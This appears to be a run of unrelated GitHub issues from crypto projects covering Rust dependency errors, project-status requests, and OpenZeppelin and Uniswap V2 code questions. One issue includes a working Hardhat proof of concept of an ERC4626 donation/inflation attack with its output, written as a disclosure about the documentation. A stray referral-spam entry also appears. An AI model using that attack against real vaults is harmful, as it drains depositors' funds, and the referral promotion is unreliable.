Greetings, I want to try your program and I am encountering errors with your repository. My Cargo.toml file uses supported dependencies from the mango-v4 project but when I load the mango dependencies I get a version compatibility error. The dependencies forcibly install version 0.30.0 of anchor, even though I explicitly specify each file.


### **Problem with dependencies.**


**My Cargo.toml file:**

```
[workspace.dependencies]
anchor-client = "=0.28.0"
anchor-spl = "=0.28.0"
anchor-lang = "=0.28.0"
solana-program = "~1.16.7"
solana-address-lookup-table-program = "~1.16.7"
mango-v4 = { git = "https://github.com/blockworks-foundation/mango-v4", features = ["client"] }

[profile.release]
overflow-checks = true

[patch.crates-io]
anchor-lang = { git = "https://github.com/coral-xyz/anchor", tag = "v0.28.0" }
anchor-spl = { git = "https://github.com/coral-xyz/anchor", tag = "v0.28.0" }
anchor-client = { git = "https://github.com/coral-xyz/anchor", tag = "v0.28.0" }

```

**When "anchor-lang = "=0.28.0"" I get an incompatibility error with:**

"Compiling openbook-v2 v0.1.0 (https://github.com/openbook-dex/openbook-v2.git?rev=270b2d2d473862bd4e3aa213feb970af81f4b3e2#270b2d2d)"

**In all cases,** the error is related to "openbook-v2" which occurs with version 28 and 29: 

```
"Compiling switchboard-solana v0.28.98
   Compiling openbook-v2 v0.1.0 (https://github.com/openbook-dex/openbook-v2.git?rev=270b2d2d473862bd4e3aa213feb970af81f4b3e2#270b2d2d)
   Compiling anchor-derive-space v0.30.0 (https://github.com/coral-xyz/anchor?tag=v0.30.0#852fcc77)" 
```

**But version 30 gives incompatibility with the Solana program.**

**Forcing the installation of "openbook-v2" versions above is not successful, mango-v4 still pulls its version.**

What to do with this dependency error and how to fix it?
[Building errors.docx](https://github.com/blockworks-foundation/mango-v4/files/15213728/Building.errors.docx)




Dependencies and compiling problems 

### **Greetings, I want to use your project and I get the openbook v2 dependencies error.** 

**workspace Cargo.toml:**

```
[workspace]
members = [ "lib/*",
    "programs/*"
]
resolver = "2"

[workspace.dependencies]
anchor-client = "=0.28.0"
anchor-spl = "=0.28.0"
anchor-lang = "=0.28.0"

solana-address-lookup-table-program = "~1.16.7"
solana-account-decoder = "~1.16.7"
solana-client = "~1.16.7"
solana-logger = "~1.16.7"
solana-program = "~1.16.7"
solana-program-test = "~1.16.7"
solana-rpc = "~1.16.7"
solana-sdk = { version = "~1.16.7", default-features = false }
solana-transaction-status = { version = "~1.16.7" }
serum_dex = { git = "https://github.com/openbook-dex/program.git", default-features=false }

openbook-v2 = { git = "https://github.com/openbook-dex/openbook-v2.git", rev = "270b2d2d473862bd4e3aa213feb970af81f4b3e2", features = ["no-entrypoint", "cpi", "enable-gpl"] }
mango-v4 = { path = "/Users/a1111/SolProject/mango-v4/programs/mango-v4", features = ["client"] }

[profile.release]
overflow-checks = true

[patch.crates-io]
anchor-lang = { git = "https://github.com/coral-xyz/anchor", tag = "v0.28.0" }
anchor-spl = { git = "https://github.com/coral-xyz/anchor", tag = "v0.28.0" }
anchor-client = { git = "https://github.com/coral-xyz/anchor", tag = "v0.28.0" }

```

**Programs Cargo.toml:**

```
[package]
name = "solana-project"
version = "0.1.0"
description = "Created with Anchor"
edition = "2021"

[lib]
crate-type = ["cdylib", "lib"]
name = "solana_project"

[features]
no-entrypoint = []
no-idl = []
no-log-ix-name = []
cpi = ["no-entrypoint"]
default = ["custom-heap"]
test-bpf = ["client"]
client = ["solana-sdk", "no-entrypoint"]
# Enables GPL-licensed parts of the code. See LICENSE file.
enable-gpl = ["openbook-v2/enable-gpl"]
custom-heap = []

[dependencies]
anchor-lang = { workspace = true }
anchor-spl = { workspace = true }

serum_dex = { workspace = true, features = ["no-entrypoint", "program"] }
solana-address-lookup-table-program = { workspace = true }
solana-program = { workspace = true }
solana-sdk = { workspace = true, default-features = false, optional = true }

openbook-v2 = { workspace = true, features = ["no-entrypoint", "cpi", "enable-gpl"] }

[dev-dependencies]
solana-sdk = { workspace = true, default-features = false }
solana-program-test = { workspace = true }
spl-token = { version = "^3.0.0", features = ["no-entrypoint"] }
spl-associated-token-account = { version = "^1.0.3", features = [
    "no-entrypoint",
] }
```


### **Problem:**

[Full error.docx](https://github.com/blockworks-foundation/mango-v4/files/15214663/Full.error.docx)


```
   Compiling openbook-v2 v0.1.0 (https://github.com/openbook-dex/openbook-v2.git?rev=270b2d2d473862bd4e3aa213feb970af81f4b3e2#270b2d2d)
error[E0119]: conflicting implementations of trait `Zeroable` for type `AnyEvent`
   --> /Users/a1111/.cargo/git/checkouts/openbook-v2-bb287b4bf73a7086/270b2d2/programs/openbook-v2/src/state/orderbook/heap.rs:220:32
```

Dependency openbook v2 problem

I've compiled the project. Is there documention about how a developer should then properly run and deploy it, on his own? In the future I may need to tweak the settings, rewrite, enable, disable some things. 

Documention about how to deploy the project 

**Update details:**

Tezos is incorrectly classified as a dead project, with no development for 12 months. In fact, development has yet to cease since launch. https://github.com/tezos/tezos-mirror is the new official mirror repo. 

- Project Name: XTZ Tezos

Classified as dead project and hidden, should not be classified as such.

**Additional context:**

https://docs.tezos.com/
https://www.tezosagora.org/


update-project

Update project: XTZ Tezos

**Update details:**



- Project Name: Beam



* Beam have been active developed for the past 4 years
  * Desktop wallet integration with DEX is coming to mainnet, 
  * ETH bridge is fully working
  * Hardware wallet(ledger) is now being tested by community
  * A stable coin called Nephrite is also being tested
  * Yesterday the first DAO vote had been conducted for naming the upcoming Beam Messenger which allows people to chat through chain

I don't know why this project is listed as dead project.
Based on Github activity as well as twitter updates I don't think it is anywhere closed to Dead.
Please remove the dead icon for Beam

**Additional context:**
* https://github.com/BeamMW
* https://twitter.com/beamprivacy

Update project: Beam is an fully active project

**Absence of wallets**

Thank you for your list, it is very helpful. It would be great to add crypto wallets like AlphaWallet.

question

Wallets 

**Describe the issue: LUNA is still your highest-rated DeFi project? Everyone is entitled to their opinion but that seems a little outdated. The Mirror project is also dead.**

LUNA and MIR rankings outdated

**🧐 Motivation**

@Amxx
Just an Idea, in the contract contracts/utils/Strings.sol there is a function called `toString(uint256 value)`, which ends like:
```
while (true) {
    ptr--;
    assembly ("memory-safe") {
        mstore8(ptr, byte(mod(value, 10), HEX_DIGITS))
    }
    value /= 10;
    if (value == 0) break;
}
return buffer;
```
My idea is to change the logical condition to:
```
while (value != 0) {
    ptr--;
    assembly ("memory-safe") {
        mstore8(ptr, byte(mod(value, 10), HEX_DIGITS))
    }
    value /= 10;
}
return buffer;
```
Avoiding using `break` in loops helps minimize potential logical errors which may occur later on and it's best practice.

**📝 Details**
 Change the logical condition of the while loop inside Strings.sol (please refer to the above)

Change "while (true)" inside Strings.sol

When reading https://docs.openzeppelin.com/contracts/5.x/utilities#payment there is a link to a `PaymentSplitter` contract that no longer exists. Moreover, the rationale for removing this contract or the `PullPayment` contract are not documented anywhere.

**💻 Environment**

**📝 Details**

The rationale for these code removals is not properly documented in the changelog, and I wasn't able to find the motivation for removing this code anywhere else, nor a valid alternative approach.

**🔢 Code to reproduce bug**


Documentation links to non-existing contract

**🧐 Motivation**


**📝 Details**





```[tasklist]
### Tasks
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5243
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5242
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5248
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5192
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/issues/5245
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5235
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5247
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/3802
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5238
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5233
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/issues/5246
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5236
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5189
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5182
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5244
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5239
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5240
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/4957
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/issues/5241
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5237
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/issues/4971
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/issues/5013
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5124
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5029
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/issues/5011
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/issues/4647
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5035
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5131
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5139
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5130
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5217
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5234
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5229
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5097
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5230
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5218
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5232
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5220
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/4660
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5214
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/issues/5210
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5228
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/3604
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/issues/5231
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5208
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5103
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5227
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/issues/4821
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5225
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5177
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/issues/5223
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5222
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/issues/5221
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5148
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/issues/5224
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5206
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/issues/5216
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/issues/5197
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5211
```

blockchain smart contract for web3

https://github.com/users/k8s-ci-robot/achievements/starstruck

Bug report

**📝 Details**

As pointed out by @ZumZoom in https://github.com/OpenZeppelin/openzeppelin-contracts/pull/4941#discussion_r1528458911:

> Should it still be a case though? It seems that after merging https://github.com/OpenZeppelin/openzeppelin-contracts/pull/4288 there is little sense in sticking with comment annotation. assembly ("memory-safe") was introduced in 0.8.13 and current pragma on all the contracts is ^0.8.20.

Given that we're not supporting any Solidity older than 0.8.20, it makes sense to  reconsider changing the NatSpec annotations to the new syntax added in Solidity 0.8.13:
https://github.com/ethereum/solidity/pull/12620



Consider changing `memory-safe` NatSpec annotations to `assembly('memory-safe')` dialect string

**🧐 Motivation**


The main contract comments for new contracts in v5.1 should have a note that indicates in what version they were introduced, with the following format: 

```
* 
* _Available since v[major].[minor]._
```

Example: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/structs/MerkleTree.sol#L26

Low hanging fruit for new contributors to get involved!

good first issue

documentation

5.1-after-freeze

Tag introduction version in contract comments

**🧐 Motivation**

In the `Ownable2Step` contract, the `transferOwnership` function does not check if the `newOwner` address is the zero address. While it's true that the zero-address owner cannot complete the second step to accept ownership, initiating the transfer to the zero address is a meaningless action. In the `Ownable` parent contract, this check is enforced, and for consistency and clarity, it would make sense to implement the same check in `Ownable2Step`.

**📝 Details**  

The `Ownable2Step` contract allows calling `transferOwnership` with a zero address, as seen [here](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v5.0.1/contracts/access/Ownable2Step.sol#L35):
 
```solidity
    /**
     * @dev Starts the ownership transfer of the contract to a new account. Replaces the pending transfer if there is one.
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual override onlyOwner {
        _pendingOwner = newOwner;
        emit OwnershipTransferStarted(owner(), newOwner);
    }
```

However, in the `Ownable` parent contract, a check is included to ensure the `newOwner` is not the zero address, as seen [here](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v5.0.1/contracts/access/Ownable.sol#L85 ):   

```solidity
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }
```

While initiating a transfer to the zero address in `Ownable2Step` doesn't lead to incorrect behavior (since the zero address can't accept ownership), it's still a pointless action. Since we already prevent this in the `Ownable` contract, it would be more consistent and logical to include the same validation in `Ownable2Step`.

If this suggestion is agreeable, I’d be happy to submit a PR for it.

Add zero address check in Ownable2Step’s transferOwnership function

Hello,

I am trying to add a fixed burn amount of tokens on all transfers using Openzeppelin v5 and the _update function.

When i modify the _update (override) function specificaly "emit Transfer(from, to, value - burnamount);" (the only change in the entire code of the smart contract) by adding a fixed burning of tokens amount i get this problem, i am not sure if it is a bug.

Initial total supply "_mint(msg.sender, 1000000 * 10 ** decimals ());" 1000000.

The correct amount of tokens are burned from the total supply, before i receive the tokens "999,999.5".

I do not receive the tokens even it is reported a success in the transaction hash.

"
Max Total Supply
Filtered by totalsupply(), method returned a zero value.

Holders
0

Total Transfers
1
"

The holders tab reports no entries.

Deployed using hardhat.

I tried adding "function totalSupply()", import ERC20Burnable.sol, pragma solidity ^0.8.20 or ^0.8.24 and other networks none of those changes work.

How to correct this problem/bug, thank you.

![ZeroHolders](https://github.com/user-attachments/assets/0784f0d1-5b32-43e1-a7f5-4c5e187805b4)
![ZeroSupply](https://github.com/user-attachments/assets/253c0a92-3454-4750-9650-c2673d1ef481)


Max Total Supply / Holders

**🧐 Motivation**


**📝 Details**





```[tasklist]
### Tasks
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5166
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/issues/5201
```

```[tasklist]
### Tasks
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5200
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/issues/5201
- [ ] https://github.com/OpenZeppelin/openzeppelin-contracts/pull/5199
```

abstract contract ERC721URIStorage is ERC721 {     using Strings for uint256;      // Optional mapping for token URIs     mapping(uint256 => string) internal _tokenURIs; ...

Line 124 -> if (returndata.length == 0 && target.code.length == 0) {
                revert AddressEmptyCode(target);
            }
There's no need to check returndata.length because if target.code.length is == 0 then returndata.length is always 0. 



Optimization in Address.sol::verifyCallResultFromTarget()

**🧐 Motivation**
With a maximum value of type uint256, a non-optimal comparison operator is used.

**📝 Details**
No number can be greater than the maximum value of type uint256 so NOT EQUAL can be replaced by LESS-THAN. LESS-THAN (LT => one instruction) will be cheaper than NOT EQUAL (NOT+EQ => 2 instructions):

`solidity
function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
    uint256 currentAllowance = allowance(owner, spender);
    if (currentAllowance < type(uint256).max) {
        if (currentAllowance < value) {
            revert ERC20InsufficientAllowance(spender, currentAllowance, value);
        }
        unchecked {
            _approve(owner, spender, currentAllowance - value, false);
        }
    }
}
`

ERC20: Optimize Gas Usage for _spendAllowance

**🧐 Motivation**
Some existing solidity libraries have functions that allow escaping JSON strings--this is crucial for NFT metadata stored on-chain with user input to ensure there can't be injection attacks. We should consider adding a similar feature to the strings library.


Add support for escaping JSON to Strings lib

Move `vendor/erc4337-entrypoint` to mocks (or to other package)

# 5.2
- #5242
- #5243
- #5244
- #5250
- Account framework into `openzeppelin-community-contracts`

# Later
- [ ] #5246
  - should not be packaged, can be removed from files exception
  - need to fix linter
  - alternative, put these files into a dependency that we import
    - that would be cleaner for upgradeability
  - because `vendor/erc4337-entrypoint` is not package, moving it or removing it would not be breaking
- [ ] When hardhat fixes https://github.com/NomicFoundation/hardhat/issues/4399
  - revert `OZ Edit` in `contracts/vendor/erc4337-entrypoint/core/EntryPoint.sol`
  - remove the `upgradable.exclude.patch` for the transpilation process

[Meta] Account abstraction tracking

### Description

On #5218 we're introducing a workaround to coverage issues in the coverage CI for P256. However, this workaround was deprecated in https://github.com/sc-forks/solidity-coverage/releases/tag/v0.8.7

We should update the library and drop the deprecated configuration. However, an attempt of doing so within the PR ended up in the compilation failing with multiple contracts generating unexpected warnings like:

```
Downloading compiler 0.8.24
Warning: Statement has no effect.
  --> contracts/utils/Context.sol:23:68:
   |
23 |     function _msgSender() internal view virtual returns (address) {abi.encode(0x730c7f785d17a153);  /* function */ 
   |                          
```

Update `solidity-coverage`

As the [ERC4626 description](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/docs/modules/ROOT/pages/erc4626.adoc?plain=1#L110)
```
If the offset is 0, the attacker loss is at least equal to the user’s deposit.

These two parts work together in enforcing the security of the vault. 
First, the increased precision corresponds to a high rate, 
which we saw is safer as it reduces the rounding error when computing the amount of shares.
Second, the virtual assets and shares (in addition to simplifying a lot of the computations)
capture part of the donation, 
making it unprofitable for a developer to perform an attack.
```

I think when `_decimalsOffset()` is 0, one attacker can also get profits.
I made a test case, there are two accounts: Attacker and Victim.
- Attacker deposits 1 asset to get 1 share
- Attacker donates 10000e18 asset to the vault
- Victim deposit 5000e18 asset for three times
- Attacker redeem 1 share to get profits(About 2500e18 asset)

Here are test case code(Can insert the test code at [ERC4626.test.js](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/test/token/ERC20/extensions/ERC4626.test.js#L243) to have a test):
```javascript
    it.only('Inflation Attack', async function () {
        // Attacker: Spender, Victim: Recipient
        // Holder transfer token to victim(recipient)
        await this.token.connect(this.holder).transfer(this.recipient, 15000n * 10n ** 18n);
        // Holder transfer token to attacker(spender)
        await this.token.connect(this.holder).transfer(this.spender, 20000n * 10n ** 18n);

        const attackerOriginalTokenBalance = ethers.formatUnits(await this.token.balanceOf(this.spender.address));
        // Attacker approves to vault to deposit
        await this.token.connect(this.spender).approve(this.vault.target, ethers.MaxUint256);
        // Deposit
        console.log('Attacker deposits 1 asset');
        await this.vault.connect(this.spender).deposit(1, this.spender.address);
        console.log('Attacker share: ', ethers.formatUnits(await this.vault.balanceOf(this.spender.address)));

        console.log('Before donation, vault asset: ', ethers.formatUnits(await this.vault.totalAssets()));
        console.log('Attacker donates 10000e18 asset to the vault');
        const donationAmount = 10000n * 10n ** 18n;
        await this.token.connect(this.spender).transfer(this.vault.target, donationAmount);
        console.log('After donation, vault asset: ', ethers.formatUnits(await this.vault.totalAssets()));

        // Victim approves to vault to deposit
        await this.token.connect(this.recipient).approve(this.vault.target, ethers.MaxUint256);

        const victimDepositedAmount = 5000n * 10n ** 18n;
        // Victim deposits by 3 times with 5000e18 assets
        for (let i = 0; i < 3; i++) {
          console.log(`Victim deposits 5000e18 asset for the ${i + 1} time`);
          await this.vault.connect(this.recipient).deposit(victimDepositedAmount, this.recipient.address);
          console.log('Victim gets share amount: ', ethers.formatUnits(await this.vault.balanceOf(this.recipient)));
          console.log('Vault asset: ', ethers.formatUnits(await this.vault.totalAssets()));
        }
        // Victim has spent all asset
        expect(await this.token.balanceOf(this.recipient.address)).to.be.eq(0);

        console.log('Attacker original token balance: ', attackerOriginalTokenBalance);
        console.log('Attacker withdraw 1 share');
        await this.vault.connect(this.spender).redeem(1, this.spender.address, this.spender.address);
        const attackerCurrentTokenBalance = ethers.formatUnits(await this.token.balanceOf(this.spender.address));
        console.log('Attacker current token balances: ', attackerCurrentTokenBalance);
        console.log('Attacker gets token profits:     ', attackerCurrentTokenBalance - attackerOriginalTokenBalance);
        console.log('Vault asset: ', ethers.formatUnits(await this.vault.totalAssets()));
      });
```
The results are:
```javascript
  ERC4626
    offset: 0
Attacker deposits 1 asset
Attacker share:  0.000000000000000001
Before donation, vault asset:  0.000000000000000001
Attacker donates 10000e18 asset to the vault
After donation, vault asset:  10000.000000000000000001
Victim deposits 5000e18 asset for the 1 time
Victim gets share amount:  0.0
Vault asset:  15000.000000000000000001
Victim deposits 5000e18 asset for the 2 time
Victim gets share amount:  0.0
Vault asset:  20000.000000000000000001
Victim deposits 5000e18 asset for the 3 time
Victim gets share amount:  0.0
Vault asset:  25000.000000000000000001
Attacker original token balance:  20000.0
Attacker withdraw 1 share
Attacker current token balances:  22500.0
Attacker gets token profits:      2500
Vault asset:  12500.0
```
So I think the description in the docs is a little inaccurate, when `_decimalsOffset()` is 0, there are still situations where profits can be made.
And how about setting a bigger default value for `_decimalsOffset()`, find a similar issue about this: #4774 but not quite the same.

ERC4626 inflation issue

Hello, I will get the stack trace printed below if I try running any HH task with your plugin imported in HH config `import "@openzeppelin/hardhat-upgrades"`. 

We ruled any HH fault with @alcuadrado, whom just released support for latest solc: https://github.com/NomicFoundation/hardhat/issues/5723
> Released in [Hardhat v2.22.11](https://github.com/NomicFoundation/hardhat/releases/tag/hardhat%402.22.11).


```sh
bun run compile
$ hardhat compile
An unexpected error occurred:

Error: Unsupported language version '0.8.27'.
    at tryRemoveNonStructNatSpec (/home/node_modules/@openzeppelin/upgrades-core/src/utils/make-namespaced.ts:183:22)
    at makeNamespacedInput (/home/node_modules/@openzeppelin/upgrades-core/src/utils/make-namespaced.ts:158:28)
    at OverriddenTaskDefinition._action (/home/node_modules/@openzeppelin/hardhat-upgrades/src/index.ts:102:31)
    at processTicksAndRejections (node:internal/process/task_queues:95:5)
    at async Environment._runTaskDefinition (/home/node_modules/hardhat/src/internal/core/runtime-environment.ts:351:14)
    at async Environment.run (/home/node_modules/hardhat/src/internal/core/runtime-environment.ts:184:14)
    at async SimpleTaskDefinition.action (/home/node_modules/hardhat/src/builtin-tasks/compile.ts:1024:37)
    at async Environment._runTaskDefinition (/home/node_modules/hardhat/src/internal/core/runtime-environment.ts:351:14)
    at async Environment.run (/home/node_modules/hardhat/src/internal/core/runtime-environment.ts:184:14)
    at async /home/node_modules/hardhat/src/builtin-tasks/compile.ts:464:28 {
  code: 'GenericFailure'
}
```

**💻 Environment**

interpreter: Bun 1.1.28

deps:
```json
	"devDependencies": {
		"@biomejs/biome": "^1.9.2",
		"@nomicfoundation/hardhat-foundry": "^1.1.2",
		"@nomicfoundation/hardhat-toolbox": "^5.0.0",
		"@openzeppelin/hardhat-upgrades": "^3.3.0",
		"@typechain/ethers-v6": "^0.5.1",
		"@typechain/hardhat": "^9.1.0",
		"@types/bun": "latest",
		"@types/chai": "^4.3.19",
		"@types/mocha": "^10.0.8",
		"@types/node": "^22.5.5",
		"dotenv": "^16.4.5",
		"ethers": "^6.13.2",
		"hardhat": "^2.22.11",
		"hardhat-contract-sizer": "^2.10.0",
		"tasai": "^1.0.0",
		"ts-node": "^10.9.2"
	},
	"peerDependencies": {
		"typescript": "^5.5.4"
	},
	"dependencies": {
		"@openzeppelin/contracts": "^5.0.2",
		"@openzeppelin/contracts-upgradeable": "^5.0.2"
	}
```

**📝 Details**

HH config

```ts
    solidity: {
        version: "0.8.27",
        settings: {
            optimizer: {
                enabled: true,
                runs: 999999,
            },
            viaIR: true,
        },
    },
```

Error: Unsupported language version '0.8.27'.

🧐 Motivation

Currently, the Votes.test.js file handles various voting modes, but it does not cover edge cases involving gas cost optimizations for voting delegation when many accounts are involved. In high-load scenarios, especially when a large number of votes or delegation transactions occur in a single block, the gas usage could be significant.

📝 Details

The test suite should include cases that simulate a high volume of accounts delegating votes in a short period of time. These cases would help assess the contract’s performance under stress and provide data on gas efficiency.

Suggested enhancements:

1. Add tests with 100+ accounts performing delegation operations.
2. Measure gas consumption for these scenarios, comparing standard delegation vs. cross-delegation.
3. Include tests for scenarios where accounts attempt to delegate multiple times within the same block.

By incorporating these changes, we can better understand the contract’s behavior in more realistic, high-traffic situations and potentially identify gas optimization opportunities.

Optimize Gas Usage for Mass Delegation in test/governance/utils/Votes.test.js

Motivation
The current Votes.behavior.js tests cover a lot of the basic functionality around vote delegation and signatures. However, they don't fully address use cases related to non-fungible tokens (NFTs), especially when it comes to dynamic vote weights or delegation behavior based on NFT ownership and metadata.

With NFTs being used more in governance systems, it would be helpful to have tests that focus on how voting works when the token’s value or voting power is tied to its metadata or other unique properties.

📝 Details
I'd like to suggest extending the current tests to handle a few specific NFT-related scenarios:

Dynamic Vote Weights for NFTs:
Right now, the getWeight function just returns 1n for non-fungible tokens, but in real-world use, the vote weight could vary based on the NFT’s metadata (e.g., rarity). Adding a mock or example test for this kind of weight calculation could be really useful.

Delegation Behavior with NFT Transfers:
What happens when an NFT is delegated for votes and then transferred to someone else? The current tests don’t cover this edge case. It would be great to add a test that ensures delegation is revoked when the NFT changes ownership.

Batch Voting and Large-Scale NFT Governance:
Governance using large NFT collections might involve batch delegations or complex scenarios. Expanding the test coverage here would help ensure the system handles these cases without performance issues.

A couple of possible API tweaks to support this testing:

Add a callback or configurable function to getWeight so the weight of an NFT can be based on its metadata.
Include scenarios where delegation or vote weight changes dynamically when NFTs are transferred between accounts.
These additions would help make the Votes contract more robust for projects using NFTs in their governance models.

Add Support for NFT-Based Voting and Dynamic Delegation in Votes.behavior.js Tests

I'm using zksync-cli to create project and compile proxy contract which inherist **UUPSUpgradeable** and got this error:
Variable `__self` is assigned an initial value
    Move the assignment to the initializer
    
 Checking on UUPS lib, i see `address private immutable __self = address(this);`
 By checking OZ docs, i got "It is still ok to define constant state variables, because the compiler does not reserve a storage slot for these variables, and every occurrence is replaced by the respective constant expression. So the following still works with OpenZeppelin Upgrades:" but in this way, this __self variable is immutable, and it got warning from zksync deployment.
 
 What should i do?
 openzeppelin-contracts-upgradeable: 5.0.2
 

Contract ... is not upgrade safe

I have taken the creation code from etherscan and tested it against the keccak256 hashing algorithm online.

The uniswapv2 documentation says that the computed hash should be 0x96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f

However when I put the creation code from etherscan into the function it gives me 9bb1c7971ee804c612ff67c797b1360aeb4174e9f16d29301553a62a799156b6

<img width="672" alt="Screen Shot 2023-03-08 at 10 25 01 pm" src="https://user-images.githubusercontent.com/36560907/223908719-eb6a8ca4-fe9c-4fac-a25d-d0003a5af635.png">

Do you know what I am doing wrong, I need this to work for a project of mine



Keccak256 init code hash

```
(uint256 amountA, uint256 amountB, uint256 liquidity) = router.addLiquidity(
            WLRS,
            LRSN,
            100000000000000000,
            100000000000000000,
            1000000000000000,
            1000000000000000,
            address(this),
            block.timestamp
        );
```

when I call this the error I get:- INSUFFICIENT_B_AMOUNT

```
(uint256 amountA, uint256 amountB, uint256 liquidity) = router.addLiquidity(
            WLRS,
            LRSN,
            100000000000000000,
            100000000000000000,
            1,
            1,
            address(this),
            block.timestamp
        );
```

when I call this then gives me an error:- SafeMath: multiplication overflow

When Add Liquidity got Error

```
 function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
        (address token0, address token1) = sortTokens(tokenA, tokenB);
        pair = address(uint(keccak256(abi.encodePacked(
                hex'ff',
                factory,
                keccak256(abi.encodePacked(token0, token1)),
                hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
            ))));
    }

```
How to generate this hash, what are the rules for `96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f`?


How to generate init code hash in the method of pairFor?

Please upgrade contracts to use the latest version.

See which contracts need to be updated simply by searching: https://github.com/Uniswap/uniswap-v2-core/search?q=pragma

0.7.0 was released in July 2020 and the latest version is 0.7.2. 
0.5.0 was released almost 2y ago.
See the full solc release list at http://solc-bin.ethereum.org/bin/list.json .

Some contracts specify an exact solidity version, which is problematic as they won't compile. e.g. a contract having `pragma solidity =0.5.16;` would not compile if solc version 0.5.17 is used.


Update solidity pragma directive to ^0.7.0

How to run this?

The `update` function in UniswapV2Pair.sol [has this line of code](https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2Pair.sol#L75):
```Solidity
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
```

In case of uint32 overflow the following return the same value:
```Solidity
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 blockTimestamp = uint32(block.timestamp);
```

So why do this `block.timestamp % 2**32` ?   

It looks like the code is requiring the gas cost of doing a modulus operation for no reason.

Or is it done to show that overflow is okay?

Why uint32(block.timestamp % 2**32) ?

0xd5173949c2d40c9863b9aD6B91a4CCAD3c9B05Fe

Let's earn the bitcoins daily! Join my network on Bitcoin Network.
https://play.google.com/store/apps/details?id=com.network.bitcoin

Add my reference code: witthaya6482gm1

Let's earn the bitcoins daily!

Hi, when i followed the README to test the code, i got the following errors after i issuing command "yarn test",:

